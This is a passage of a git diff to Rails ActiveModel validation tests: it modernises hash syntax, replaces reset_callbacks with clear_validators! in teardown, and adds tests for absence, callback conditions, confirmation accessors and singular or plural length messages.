+ assert_equal ["must be blank"], t.errors[:content]
+ t.title = ""
+ t.content = "something"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:content]
+ assert_equal [], t.errors[:title]
+ t.content = ""
+ assert t.valid?
+ end
+
+ def test_validates_absence_of_with_array_arguments
+ Topic.validates_absence_of %w(title content)
+ t = Topic.new
+ t.title = "foo"
+ t.content = "bar"
+ assert t.invalid?
+ assert_equal ["must be blank"], t.errors[:title]
+ assert_equal ["must be blank"], t.errors[:content]
+ end
+
+ def test_validates_absence_of_with_custom_error_using_quotes
+ Person.validates_absence_of :karma, message: "This string contains 'single' and \"double\" quotes"
+ p = Person.new
+ p.karma = "good"
+ assert p.invalid?
+ assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
+ end
+
+ def test_validates_absence_of_for_ruby_class
+ Person.validates_absence_of :karma
+ p = Person.new
+ p.karma = "good"
+ assert p.invalid?
+ assert_equal ["must be blank"], p.errors[:karma]
+ p.karma = nil
+ assert p.valid?
+ end
+
+ def test_validates_absence_of_for_ruby_class_with_custom_reader
+ CustomReader.validates_absence_of :karma
+ p = CustomReader.new
+ p[:karma] = "excellent"
+ assert p.invalid?
+ assert_equal ["must be blank"], p.errors[:karma]
+ p[:karma] = ""
+ assert p.valid?
+ end
+end
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
index de04e11258..e78aa1adaf 100644
--- a/activemodel/test/cases/validations/acceptance_validation_test.rb
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -8,7 +8,7 @@ require 'models/person'
class AcceptanceValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_terms_of_service_agreement_no_acceptance
@@ -30,7 +30,7 @@ class AcceptanceValidationTest < ActiveModel::TestCase
end
def test_eula
- Topic.validates_acceptance_of(:eula, :message => "must be abided")
+ Topic.validates_acceptance_of(:eula, message: "must be abided")
t = Topic.new("title" => "We should be confirmed","eula" => "")
assert t.invalid?
@@ -41,7 +41,7 @@ class AcceptanceValidationTest < ActiveModel::TestCase
end
def test_terms_of_service_agreement_with_accept_value
- Topic.validates_acceptance_of(:terms_of_service, :accept => "I agree.")
+ Topic.validates_acceptance_of(:terms_of_service, accept: "I agree.")
t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
assert t.invalid?
@@ -63,6 +63,6 @@ class AcceptanceValidationTest < ActiveModel::TestCase
p.karma = "1"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
index 0015b3c196..6cd0f4ed4d 100644
--- a/activemodel/test/cases/validations/callbacks_test.rb
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -40,8 +40,29 @@ class DogWithMissingName < Dog
validates_presence_of :name
end
+class DogValidatorWithIfCondition < Dog
+ before_validation :set_before_validation_marker1, if: -> { true }
+ before_validation :set_before_validation_marker2, if: -> { false }
+
+ after_validation :set_after_validation_marker1, if: -> { true }
+ after_validation :set_after_validation_marker2, if: -> { false }
+
+ def set_before_validation_marker1; self.history << 'before_validation_marker1'; end
+ def set_before_validation_marker2; self.history << 'before_validation_marker2' ; end
+
+ def set_after_validation_marker1; self.history << 'after_validation_marker1'; end
+ def set_after_validation_marker2; self.history << 'after_validation_marker2' ; end
+end
+
+
class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
+ def test_if_condition_is_respected_for_before_validation
+ d = DogValidatorWithIfCondition.new
+ d.valid?
+ assert_equal ["before_validation_marker1", "after_validation_marker1"], d.history
+ end
+
def test_before_validation_and_after_validation_callbacks_should_be_called
d = DogWithMethodCallbacks.new
d.valid?
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
index e06b04af19..1261937b56 100644
--- a/activemodel/test/cases/validations/conditional_validation_test.rb
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -6,12 +6,12 @@ require 'models/topic'
class ConditionalValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_if_validation_using_method_true
# When the method returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -20,23 +20,23 @@ class ConditionalValidationTest < ActiveModel::TestCase
def test_unless_validation_using_method_true
# When the method returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_method_false
# When the method returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true_but_its_not )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_method_false
# When the method returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true_but_its_not )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true_but_its_not)
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -45,7 +45,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
def test_if_validation_using_string_true
# When the evaluated string returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "a = 1; a == 1" )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "a = 1; a == 1")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -54,23 +54,23 @@ class ConditionalValidationTest < ActiveModel::TestCase
def test_unless_validation_using_string_true
# When the evaluated string returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "a = 1; a == 1" )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_string_false
# When the evaluated string returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "false")
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_string_false
# When the evaluated string returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "false")
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "false")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -79,8 +79,8 @@ class ConditionalValidationTest < ActiveModel::TestCase
def test_if_validation_using_block_true
# When the block returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
- :if => Proc.new { |r| r.content.size > 4 } )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+ if: Proc.new { |r| r.content.size > 4 })
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -89,26 +89,26 @@ class ConditionalValidationTest < ActiveModel::TestCase
def test_unless_validation_using_block_true
# When the block returns true
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
- :unless => Proc.new { |r| r.content.size > 4 } )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+ unless: Proc.new { |r| r.content.size > 4 })
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_if_validation_using_block_false
# When the block returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
- :if => Proc.new { |r| r.title != "uhohuhoh"} )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+ if: Proc.new { |r| r.title != "uhohuhoh"})
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.valid?
- assert t.errors[:title].empty?
+ assert_empty t.errors[:title]
end
def test_unless_validation_using_block_false
# When the block returns false
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
- :unless => Proc.new { |r| r.title != "uhohuhoh"} )
+ Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+ unless: Proc.new { |r| r.title != "uhohuhoh"} )
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -120,11 +120,11 @@ class ConditionalValidationTest < ActiveModel::TestCase
# ensure that it works correctly
def test_validation_with_if_as_string
Topic.validates_presence_of(:title)
- Topic.validates_presence_of(:author_name, :if => "title.to_s.match('important')")
+ Topic.validates_presence_of(:author_name, if: "title.to_s.match('important')")
t = Topic.new
assert t.invalid?, "A topic without a title should not be valid"
- assert t.errors[:author_name].empty?, "A topic without an 'important' title should not require an author"
+ assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
t.title = "Just a title"
assert t.valid?, "A topic with a basic title should be valid"
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index f7556a249f..65a2a1eb49 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -7,13 +7,13 @@ require 'models/person'
class ConfirmationValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_no_title_confirmation
Topic.validates_confirmation_of(:title)
- t = Topic.new(:author_name => "Plutarch")
+ t = Topic.new(author_name: "Plutarch")
assert t.valid?
t.title_confirmation = "Parallel Lives"
@@ -49,26 +49,60 @@ class ConfirmationValidationTest < ActiveModel::TestCase
p.karma = "None"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_title_confirmation_with_i18n_attribute
- @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
- I18n.load_path.clear
- I18n.backend = I18n::Backend::Simple.new
- I18n.backend.store_translations('en', {
- :errors => {:messages => {:confirmation => "doesn't match %{attribute}"}},
- :activemodel => {:attributes => {:topic => {:title => 'Test Title'}}}
- })
+ begin
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ I18n.backend.store_translations('en', {
+ errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+ activemodel: { attributes: { topic: { title: 'Test Title'} } }
+ })
+
+ Topic.validates_confirmation_of(:title)
+
+ t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+ assert t.invalid?
+ assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+ ensure
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ I18n.backend.reload!
+ end
+ end
- Topic.validates_confirmation_of(:title)
+ test "does not override confirmation reader if present" do
+ klass = Class.new do
+ include ActiveModel::Validations
- t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
- assert t.invalid?
- assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+ def title_confirmation
+ "expected title"
+ end
+
+ validates_confirmation_of :title
+ end
- I18n.load_path.replace @old_load_path
- I18n.backend = @old_backend
+ assert_equal "expected title", klass.new.title_confirmation,
+ "confirmation validation should not override the reader"
end
+ test "does not override confirmation writer if present" do
+ klass = Class.new do
+ include ActiveModel::Validations
+
+ def title_confirmation=(value)
+ @title_confirmation = "expected title"
+ end
+
+ validates_confirmation_of :title
+ end
+
+ model = klass.new
+ model.title_confirmation = "new title"
+ assert_equal "expected title", model.title_confirmation,
+ "confirmation validation should not override the writer"
+ end
end
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 7d5af27f3d..1ce41f9bc9 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -7,18 +7,18 @@ require 'models/person'
class ExclusionValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_exclusion_of
- Topic.validates_exclusion_of( :title, :in => %w( abe monkey ) )
+ Topic.validates_exclusion_of(:title, in: %w( abe monkey ))
assert Topic.new("title" => "something", "content" => "abc").valid?
assert Topic.new("title" => "monkey", "content" => "abc").invalid?
end
def test_validates_exclusion_of_with_formatted_message
- Topic.validates_exclusion_of( :title, :in => %w( abe monkey ), :message => "option %{value} is restricted" )
+ Topic.validates_exclusion_of(:title, in: %w( abe monkey ), message: "option %{value} is restricted")
assert Topic.new("title" => "something", "content" => "abc")
@@ -29,7 +29,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
end
def test_validates_exclusion_of_with_within_option
- Topic.validates_exclusion_of( :title, :within => %w( abe monkey ) )
+ Topic.validates_exclusion_of(:title, within: %w( abe monkey ))
assert Topic.new("title" => "something", "content" => "abc")
@@ -39,7 +39,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
end
def test_validates_exclusion_of_for_ruby_class
- Person.validates_exclusion_of :karma, :in => %w( abe monkey )
+ Person.validates_exclusion_of :karma, in: %w( abe monkey )
p = Person.new
p.karma = "abe"
@@ -50,11 +50,11 @@ class ExclusionValidationTest < ActiveModel::TestCase
p.karma = "Lifo"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_exclusion_of_with_lambda
- Topic.validates_exclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+ Topic.validates_exclusion_of :title, in: lambda { |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
t = Topic.new
t.title = "elephant"
@@ -66,7 +66,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
end
def test_validates_inclusion_of_with_symbol
- Person.validates_exclusion_of :karma, :in => :reserved_karmas
+ Person.validates_exclusion_of :karma, in: :reserved_karmas
p = Person.new
p.karma = "abe"
@@ -87,6 +87,6 @@ class ExclusionValidationTest < ActiveModel::TestCase
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 308a3c6cef..0f91b73cd7 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -7,11 +7,11 @@ require 'models/person'
class PresenceValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validate_format
- Topic.validates_format_of(:title, :content, :with => /\AValidation\smacros \w+!\z/, :message => "is bad data")
+ Topic.validates_format_of(:title, :content, with: /\AValidation\smacros \w+!\z/, message: "is bad data")
t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
assert t.invalid?, "Shouldn't be valid"
@@ -27,7 +27,7 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validate_format_with_allow_blank
- Topic.validates_format_of(:title, :with => /\AValidation\smacros \w+!\z/, :allow_blank => true)
+ Topic.validates_format_of(:title, with: /\AValidation\smacros \w+!\z/, allow_blank: true)
assert Topic.new("title" => "Shouldn't be valid").invalid?
assert Topic.new("title" => "").valid?
assert Topic.new("title" => nil).valid?
@@ -36,7 +36,7 @@ class PresenceValidationTest < ActiveModel::TestCase
# testing ticket #3142
def test_validate_format_numeric
- Topic.validates_format_of(:title, :content, :with => /\A[1-9][0-9]*\z/, :message => "is bad data")
+ Topic.validates_format_of(:title, :content, with: /\A[1-9][0-9]*\z/, message: "is bad data")
t = Topic.new("title" => "72x", "content" => "6789")
assert t.invalid?, "Shouldn't be valid"
@@ -63,24 +63,24 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validate_format_with_formatted_message
- Topic.validates_format_of(:title, :with => /\AValid Title\z/, :message => "can't be %{value}")
- t = Topic.new(:title => 'Invalid title')
+ Topic.validates_format_of(:title, with: /\AValid Title\z/, message: "can't be %{value}")
+ t = Topic.new(title: 'Invalid title')
assert t.invalid?
assert_equal ["can't be Invalid title"], t.errors[:title]
end
-
+
def test_validate_format_of_with_multiline_regexp_should_raise_error
- assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /^Valid Title$/) }
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /^Valid Title$/) }
end
-
+
def test_validate_format_of_with_multiline_regexp_and_option
assert_nothing_raised(ArgumentError) do
- Topic.validates_format_of(:title, :with => /^Valid Title$/, :multiline => true)
+ Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true)
end
end
def test_validate_format_with_not_option
- Topic.validates_format_of(:title, :without => /foo/, :message => "should not contain foo")
+ Topic.validates_format_of(:title, without: /foo/, message: "should not contain foo")
t = Topic.new
t.title = "foobar"
@@ -97,19 +97,19 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validates_format_of_with_both_regexps_should_raise_error
- assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /this/, :without => /that/) }
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /this/, without: /that/) }
end
def test_validates_format_of_when_with_isnt_a_regexp_should_raise_error
- assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => "clearly not a regexp") }
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: "clearly not a regexp") }
end
def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error
- assert_raise(ArgumentError) { Topic.validates_format_of(:title, :without => "clearly not a regexp") }
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, without: "clearly not a regexp") }
end
def test_validates_format_of_with_lambda
- Topic.validates_format_of :content, :with => lambda{ |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
+ Topic.validates_format_of :content, with: lambda { |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
t = Topic.new
t.title = "digit"
@@ -121,7 +121,7 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validates_format_of_without_lambda
- Topic.validates_format_of :content, :without => lambda{ |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
+ Topic.validates_format_of :content, without: lambda { |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
t = Topic.new
t.title = "characters"
@@ -133,7 +133,7 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validates_format_of_for_ruby_class
- Person.validates_format_of :karma, :with => /\A\d+\Z/
+ Person.validates_format_of :karma, with: /\A\d+\Z/
p = Person.new
p.karma = "Pixies"
@@ -144,6 +144,6 @@ class PresenceValidationTest < ActiveModel::TestCase
p.karma = "1234"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index 302cbe9761..3eeb80a48b 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -4,35 +4,35 @@ require 'models/person'
class I18nGenerateMessageValidationTest < ActiveModel::TestCase
def setup
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
@person = Person.new
end
# validates_inclusion_of: generate_message(attr_name, :inclusion, message: custom_message, value: value)
def test_generate_message_inclusion_with_default_message
- assert_equal 'is not included in the list', @person.errors.generate_message(:title, :inclusion, :value => 'title')
+ assert_equal 'is not included in the list', @person.errors.generate_message(:title, :inclusion, value: 'title')
end
def test_generate_message_inclusion_with_custom_message
- assert_equal 'custom message title', @person.errors.generate_message(:title, :inclusion, :message => 'custom message %{value}', :value => 'title')
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :inclusion, message: 'custom message %{value}', value: 'title')
end
# validates_exclusion_of: generate_message(attr_name, :exclusion, message: custom_message, value: value)
def test_generate_message_exclusion_with_default_message
- assert_equal 'is reserved', @person.errors.generate_message(:title, :exclusion, :value => 'title')
+ assert_equal 'is reserved', @person.errors.generate_message(:title, :exclusion, value: 'title')
end
def test_generate_message_exclusion_with_custom_message
- assert_equal 'custom message title', @person.errors.generate_message(:title, :exclusion, :message => 'custom message %{value}', :value => 'title')
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :exclusion, message: 'custom message %{value}', value: 'title')
end
# validates_format_of: generate_message(attr_name, :invalid, message: custom_message, value: value)
def test_generate_message_invalid_with_default_message
- assert_equal 'is invalid', @person.errors.generate_message(:title, :invalid, :value => 'title')
+ assert_equal 'is invalid', @person.errors.generate_message(:title, :invalid, value: 'title')
end
def test_generate_message_invalid_with_custom_message
- assert_equal 'custom message title', @person.errors.generate_message(:title, :invalid, :message => 'custom message %{value}', :value => 'title')
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :invalid, message: 'custom message %{value}', value: 'title')
end
# validates_confirmation_of: generate_message(attr_name, :confirmation, message: custom_message)
@@ -41,7 +41,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
end
def test_generate_message_confirmation_with_custom_message
- assert_equal 'custom message', @person.errors.generate_message(:title, :confirmation, :message => 'custom message')
+ assert_equal 'custom message', @person.errors.generate_message(:title, :confirmation, message: 'custom message')
end
# validates_acceptance_of: generate_message(attr_name, :accepted, message: custom_message)
@@ -50,7 +50,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
end
def test_generate_message_accepted_with_custom_message
- assert_equal 'custom message', @person.errors.generate_message(:title, :accepted, :message => 'custom message')
+ assert_equal 'custom message', @person.errors.generate_message(:title, :accepted, message: 'custom message')
end
# add_on_empty: generate_message(attr, :empty, message: custom_message)
@@ -59,7 +59,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
end
def test_generate_message_empty_with_custom_message
- assert_equal 'custom message', @person.errors.generate_message(:title, :empty, :message => 'custom message')
+ assert_equal 'custom message', @person.errors.generate_message(:title, :empty, message: 'custom message')
end
# add_on_blank: generate_message(attr, :blank, message: custom_message)
@@ -68,71 +68,83 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
end
def test_generate_message_blank_with_custom_message
- assert_equal 'custom message', @person.errors.generate_message(:title, :blank, :message => 'custom message')
+ assert_equal 'custom message', @person.errors.generate_message(:title, :blank, message: 'custom message')
end
# validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
- def test_generate_message_too_long_with_default_message
- assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, :count => 10)
+ def test_generate_message_too_long_with_default_message_plural
+ assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, count: 10)
+ end
+
+ def test_generate_message_too_long_with_default_message_singular
+ assert_equal "is too long (maximum is 1 character)", @person.errors.generate_message(:title, :too_long, count: 1)
end
def test_generate_message_too_long_with_custom_message
- assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, :message => 'custom message %{count}', :count => 10)
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, message: 'custom message %{count}', count: 10)
end
# validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
- def test_generate_message_too_short_with_default_message
- assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, :count => 10)
+ def test_generate_message_too_short_with_default_message_plural
+ assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, count: 10)
+ end
+
+ def test_generate_message_too_short_with_default_message_singular
+ assert_equal "is too short (minimum is 1 character)", @person.errors.generate_message(:title, :too_short, count: 1)
end
def test_generate_message_too_short_with_custom_message
- assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, :message => 'custom message %{count}', :count => 10)
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, message: 'custom message %{count}', count: 10)
end
# validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
- def test_generate_message_wrong_length_with_default_message
- assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, :count => 10)
+ def test_generate_message_wrong_length_with_default_message_plural
+ assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, count: 10)
+ end
+
+ def test_generate_message_wrong_length_with_default_message_singular
+ assert_equal "is the wrong length (should be 1 character)", @person.errors.generate_message(:title, :wrong_length, count: 1)
end
def test_generate_message_wrong_length_with_custom_message
- assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, :message => 'custom message %{count}', :count => 10)
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, message: 'custom message %{count}', count: 10)
end
# validates_numericality_of: generate_message(attr_name, :not_a_number, value: raw_value, message: custom_message)
def test_generate_message_not_a_number_with_default_message
- assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, :value => 'title')
+ assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, value: 'title')
end
def test_generate_message_not_a_number_with_custom_message
- assert_equal 'custom message title', @person.errors.generate_message(:title, :not_a_number, :message => 'custom message %{value}', :value => 'title')
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :not_a_number, message: 'custom message %{value}', value: 'title')
end
# validates_numericality_of: generate_message(attr_name, option, value: raw_value, default: custom_message)
def test_generate_message_greater_than_with_default_message
- assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, :value => 'title', :count => 10)
+ assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, value: 'title', count: 10)
end
def test_generate_message_greater_than_or_equal_to_with_default_message
- assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, :value => 'title', :count => 10)
+ assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, value: 'title', count: 10)
end
def test_generate_message_equal_to_with_default_message
- assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, :value => 'title', :count => 10)
+ assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, value: 'title', count: 10)
end
def test_generate_message_less_than_with_default_message
- assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, :value => 'title', :count => 10)
+ assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, value: 'title', count: 10)
end
def test_generate_message_less_than_or_equal_to_with_default_message
- assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, :value => 'title', :count => 10)
+ assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, value: 'title', count: 10)
end
def test_generate_message_odd_with_default_message
- assert_equal "must be odd", @person.errors.generate_message(:title, :odd, :value => 'title', :count => 10)
+ assert_equal "must be odd", @person.errors.generate_message(:title, :odd, value: 'title', count: 10)
end
def test_generate_message_even_with_default_message
- assert_equal "must be even", @person.errors.generate_message(:title, :even, :value => 'title', :count => 10)
+ assert_equal "must be even", @person.errors.generate_message(:title, :even, value: 'title', count: 10)
end
end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index 4c01b47608..96084a32ba 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -6,37 +6,38 @@ require 'models/person'
class I18nValidationTest < ActiveModel::TestCase
def setup
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
@person = Person.new
@old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
I18n.load_path.clear
I18n.backend = I18n::Backend::Simple.new
- I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
+ I18n.backend.store_translations('en', errors: { messages: { custom: nil } })
end
def teardown
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
I18n.load_path.replace @old_load_path
I18n.backend = @old_backend
+ I18n.backend.reload!
end
def test_full_message_encoding
- I18n.backend.store_translations('en', :errors => {
- :messages => { :too_short => '猫舌' }})
- Person.validates_length_of :title, :within => 3..5
+ I18n.backend.store_translations('en', errors: {
+ messages: { too_short: '猫舌' } })
+ Person.validates_length_of :title, within: 3..5
@person.valid?
assert_equal ['Title 猫舌'], @person.errors.full_messages
end
def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
@person.errors.add(:name, 'not found')
- Person.expects(:human_attribute_name).with(:name, :default => 'Name').returns("Person's name")
+ Person.expects(:human_attribute_name).with(:name, default: 'Name').returns("Person's name")
assert_equal ["Person's name not found"], @person.errors.full_messages
end
def test_errors_full_messages_uses_format
- I18n.backend.store_translations('en', :errors => {:format => "Field %{attribute} %{message}"})
+ I18n.backend.store_translations('en', errors: { format: "Field %{attribute} %{message}" })
@person.errors.add('name', 'empty')
assert_equal ["Field Name empty"], @person.errors.full_messages
end
@@ -49,10 +50,10 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES = [
# [ case, validation_options, generate_message_options]
[ "given no options", {}, {}],
